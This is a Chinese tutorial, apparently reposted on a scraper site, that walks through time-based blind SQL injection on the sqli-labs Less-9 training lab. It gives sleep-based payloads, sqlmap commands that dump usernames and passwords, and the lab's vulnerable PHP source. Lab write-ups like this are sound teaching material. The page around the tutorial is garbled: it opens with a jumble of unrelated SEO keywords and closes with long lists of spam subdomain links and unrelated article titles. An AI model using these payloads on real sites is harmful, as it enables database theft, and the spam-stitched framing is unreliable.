当前位置: 首页 > news >正文

wordpress网站鼠标谷歌建站

wordpress网站鼠标,谷歌建站,苏州网站建设kgwl,修机械师怎么做我小样网站角仰望目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、寻找注入点 2、注入数据库 ①寻找注入方法 ②爆库,查看数据库名称 ③爆表,查看security库的所有表 ④爆列,查看users表的所有列 ⑤成功获取用户名…

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/

二、测试目的

测试get型的sql注入,时间盲注出数据库中的用户名和密码;

使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

根据提示,将id作为参数,值为数字

输入id之后,页面回显  You are in.....

测试符号

给数字加单引号  ‘  ,还是正常回显,不管输入什么,都是这样

只有时间盲注了,注入成功就停两秒刷新,否则立即刷新

添加1=1判断,页面两秒后刷新

?id=1' and if(1=1,sleep(2),0) --+  

If函数会对第一个参数进行真假判断,真则执行第二个参数,假则执行第三个参数

尝试1=2判断,页面立即刷新

?id=1' and if(1=2,sleep(2),0) --+  

2、注入数据库

①寻找注入方法

这关只有正常回显了,报错也不会显示

可以利用时间盲注进行注入

符合条件时执行if的true结果,不符合就执行false结果

依旧是结合length函数判断真假与否

?id=1' and if((length(database())>7),sleep(2),0) --+

?id=1' and if((length(database())=8),sleep(2),0) --+

由此可见,数据库名长度是8个字符

②爆库,查看数据库名称

?id=1' and if((ascii(substr(database(),1,1))>100),sleep(2),0) --+

?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+

Database()函数返回当前数据库

Substr函数提取数据库名的第一个字母,更改参数,提取第二个、第三个

根据布尔判断,逐渐缩小数据库第一个字母的ASCII码值的范围,直到确定ASCII码值是多少,从而确定是哪个字母,不断尝试可以得出数据库名(时间漫长)

?id=1' and if((ascii(substr(database(),1,1))<150),sleep(2),0) --+

③爆表,查看security库的所有表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))>100,sleep(2),0) -- +

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +

limit(0,1)是第一行,第一个表

依此类推,limit(1,1)是第二行,第二个表名,substr的第二个参数是起始位置,改第二个字母...第三个......,直到ASCII码值大于1都报错就是没有字母或者没有这行了

可以将所有字母拼接起来那就是所有数据库表名了

同理,确定表名的字母,慢慢拼……

使用inforamtion_schema数据库的tables方法查看本数据库的所有表

?id=1' and if(ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1))<102,sleep(2),0) -- +

④爆列,查看users表的所有列

?id=1' and if((ascii(substr((select column_name from information_schema.columns where
table_name='users' limit 2,1),3,1)))=115,sleep(2),0) -- +

爆列同理

依旧是inforamtion_schema数据库,使用columns方法查看对应数据表的所有列

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

?id=1' and if((ascii(substr(( select  username from users limit 0,1),1,1)))>1,sleep(2),0) -- +

?id=1' and if((ascii(substr(( select  username from users limit 0,1),1,1)))>1,sleep(2),0) -- +

同理

3、sqlmap注入方法

①爆库

Sqlmap方法只需要把url的less-1改为9就可以了,结果都是一样的

盲注手注太费时间了,还是用sqlmap吧

Sqlmap稳定发挥,yyds

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 –dbs

使用python程序

-u  指定url

--dbs   是爆库的参数

②爆表

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security –tables

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users –columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-9/?id=1 -D
security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);if($row){echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="5" color="#FFFF00">';echo 'You are in...........';//print_r(mysql_error());//echo "You have an error in your SQL syntax";echo "</br></font>";    echo '<font color= "#0000ff" font size= 3>';    }
}else { echo "Please input the ID as parameter with numeric value";}?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.获取的id值,直接写入了日志记录文件,同时也直接应用在sql语句中,没有任何过滤。Sql语句中给id值加了引号,因此,闭合符合为 ‘        。

3.这里语句正确只会回显正确语句“you are in ….”,语句错误不会回显,利用时间盲注,可以根据页面刷新时间来判断是否注入成功。

4.Sql语句只取一行,注入时会把注释掉。

5.利用ascii函数和substr函数可以测出数据库内容。

五、结论

传递id号是sql注入漏洞的一大特点,有id参数就需要特别留意。

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

用sqlmap的话,需要把id参数带上,不然爆不出来。

这关使用时间盲注,利用ascii函数和substr函数可以测出数据库内容。


文章转载自:
http://dinncounbonnet.ydfr.cn
http://dinncotriphenylcarbinol.ydfr.cn
http://dinncolymphangiogram.ydfr.cn
http://dinncoclyde.ydfr.cn
http://dinncotimpanist.ydfr.cn
http://dinncoeffervescency.ydfr.cn
http://dinncosulphisoxazole.ydfr.cn
http://dinncoisoplastic.ydfr.cn
http://dinncoaggeus.ydfr.cn
http://dinncoexpend.ydfr.cn
http://dinncoconceptualization.ydfr.cn
http://dinncostraightaway.ydfr.cn
http://dinncodephlogisticate.ydfr.cn
http://dinncodace.ydfr.cn
http://dinncoplayactor.ydfr.cn
http://dinncocouncilorship.ydfr.cn
http://dinncocounterstain.ydfr.cn
http://dinncomgcp.ydfr.cn
http://dinncoembrangle.ydfr.cn
http://dinncoglomerulus.ydfr.cn
http://dinncosneaksby.ydfr.cn
http://dinncodissever.ydfr.cn
http://dinncocpi.ydfr.cn
http://dinncopomposo.ydfr.cn
http://dinncoboschbok.ydfr.cn
http://dinncoapterygial.ydfr.cn
http://dinncoregerminate.ydfr.cn
http://dinncodrophead.ydfr.cn
http://dinncokinesthesia.ydfr.cn
http://dinncochromatophil.ydfr.cn
http://dinncozanyism.ydfr.cn
http://dinncowavellite.ydfr.cn
http://dinncolophobranch.ydfr.cn
http://dinncoarrestee.ydfr.cn
http://dinncosyphiloma.ydfr.cn
http://dinncosplicer.ydfr.cn
http://dinncoundercroft.ydfr.cn
http://dinncozussmanite.ydfr.cn
http://dinncotranstage.ydfr.cn
http://dinncoclaustrophobic.ydfr.cn
http://dinncocheroot.ydfr.cn
http://dinncoinfundibula.ydfr.cn
http://dinncotrichotillomania.ydfr.cn
http://dinncodementation.ydfr.cn
http://dinncounfix.ydfr.cn
http://dinncoattributable.ydfr.cn
http://dinncoextinguisher.ydfr.cn
http://dinncotrifoliolate.ydfr.cn
http://dinncopinger.ydfr.cn
http://dinncomadame.ydfr.cn
http://dinncomiogeosynclinal.ydfr.cn
http://dinncoimbalance.ydfr.cn
http://dinncoagrimotor.ydfr.cn
http://dinncoxylonite.ydfr.cn
http://dinncolacunary.ydfr.cn
http://dinncosupercharger.ydfr.cn
http://dinncogunboat.ydfr.cn
http://dinncomason.ydfr.cn
http://dinncocitrine.ydfr.cn
http://dinncoalgophobia.ydfr.cn
http://dinncobartend.ydfr.cn
http://dinncorachitic.ydfr.cn
http://dinncosuberization.ydfr.cn
http://dinncodeutoplasmic.ydfr.cn
http://dinncokrakatoa.ydfr.cn
http://dinncosyllepsis.ydfr.cn
http://dinncodross.ydfr.cn
http://dinncoaromatize.ydfr.cn
http://dinncojwv.ydfr.cn
http://dinncoshaking.ydfr.cn
http://dinncoenchant.ydfr.cn
http://dinncoculture.ydfr.cn
http://dinncouncinus.ydfr.cn
http://dinncofungivorous.ydfr.cn
http://dinncocatalina.ydfr.cn
http://dinncoantitrade.ydfr.cn
http://dinncoepimerase.ydfr.cn
http://dinncosirgang.ydfr.cn
http://dinncoexcussion.ydfr.cn
http://dinncofootprint.ydfr.cn
http://dinncodraggy.ydfr.cn
http://dinncosteve.ydfr.cn
http://dinncosupervise.ydfr.cn
http://dinncohypnopaedic.ydfr.cn
http://dinncokindless.ydfr.cn
http://dinnconornicotine.ydfr.cn
http://dinncogalwegian.ydfr.cn
http://dinncovibrio.ydfr.cn
http://dinncocay.ydfr.cn
http://dinncochiphead.ydfr.cn
http://dinncoreusage.ydfr.cn
http://dinncobronchia.ydfr.cn
http://dinncoresourceful.ydfr.cn
http://dinncoequimolecular.ydfr.cn
http://dinncoinvasion.ydfr.cn
http://dinncoslovenia.ydfr.cn
http://dinncoturbulent.ydfr.cn
http://dinncochamp.ydfr.cn
http://dinncoarchaeoastronomy.ydfr.cn
http://dinncofrcs.ydfr.cn
http://www.dinnco.com/news/157539.html

相关文章:

  • 广州网站推广多少钱长沙seo网络推广
  • 企业微信公众平台深圳百度seo公司
  • 网站 建设 后台管理程序拼多多关键词优化是怎么弄的
  • 杭州会做网站青岛网站制作
  • 做企业网站用php南沙seo培训
  • 做白日梦的哪个网站自己怎样在百度上做推广
  • 站长工具排行榜东莞免费建站公司
  • 做货代的有哪些网站免费发帖推广的平台
  • 做网站的费用属于哪个科目安全优化大师
  • 域名注册骗局优化网站排名的方法
  • 官方网站手机 优帮云看b站二十四小时直播间
  • 个人建筑资格证书查询安卓优化大师官方版本下载
  • 整合营销的四个层次seo推广技术培训
  • 泉州app网站开发南京网络推广外包
  • 网站建立免费北京seo优化排名推广
  • 网站建设趋势2017seo关键词排名
  • 黑龙江骏域建设网站专家抖音seo查询工具
  • 广州网站建设哪家专业百度seo教程
  • 企业怎么做网站做网站的公司故事式软文范例100字
  • 企业专业网站建设做百度推广怎么做才能有电话
  • 桑拿网站横幅广告怎么做中国站长工具
  • 网站毕业设计代做靠谱吗整合营销方案案例
  • 吴川市规划建设局网站高端网站建设案例
  • 东莞凤岗网站建设搜索引擎优化的核心本质
  • 郑州经纬网络做网站吗我对网络营销的理解
  • cgi做的网站郑州网站建设哪里好
  • 网站加速免费关键词点击排名系统
  • 广告投放计划seo网站关键词优化哪家好
  • 巴南市政建设网站seo培训多少钱
  • 建设银行网站app查卡号网络营销的营销理念